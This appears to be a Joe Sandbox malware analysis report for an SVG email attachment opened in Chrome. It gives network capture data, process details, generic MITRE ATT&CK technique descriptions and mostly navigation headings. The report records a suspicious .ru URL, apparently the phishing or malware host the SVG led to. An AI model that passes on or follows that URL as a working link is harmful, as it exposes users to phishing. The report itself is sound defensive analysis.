Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49787	35.190.80.1	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 09:47:44 UTC	507	OUT	POST /report/v4?s=LJLaox2ez4SNULNb4Gdt%2BrZN%2FekWJzgK1EthssQgFMyUX2b1ez5qGJqdgmhqnfC97Izsnp7nAsvQvT7TU1qRNgqQIyQecoJZWFZfTiganESCprZ%2FNf1g61DlQrpx HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json Origin: https://jx7d.qdjcpol.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 09:47:44 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 32 33 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 35 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 78 37 64 2e 71 64 6a 63 70 6f 6c 2e 72 75 2f 57 70 42 38 50 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 37 38 2e 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":59232,"body":{"elapsed_time":452,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://jx7d.qdjcpol.ru/WpB8P/","sampling_fraction":1.0,"server_ip":"104.21.78.6","status_code":404,"type":"http.error"},"type":"network-error"
2025-03-19 09:47:44 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Wed, 19 Mar 2025 09:47:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Click to jump to process

Target ID:	1
Start time:	05:46:08
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:46:14
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,13235557415766536584,3776176302613473888,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2044 /prefetch:3
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:46:19
Start date:	19/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\ATT61918.svg"
Imagebase:	0x7ff786830000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ATT61918.svg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
ATT61918.svg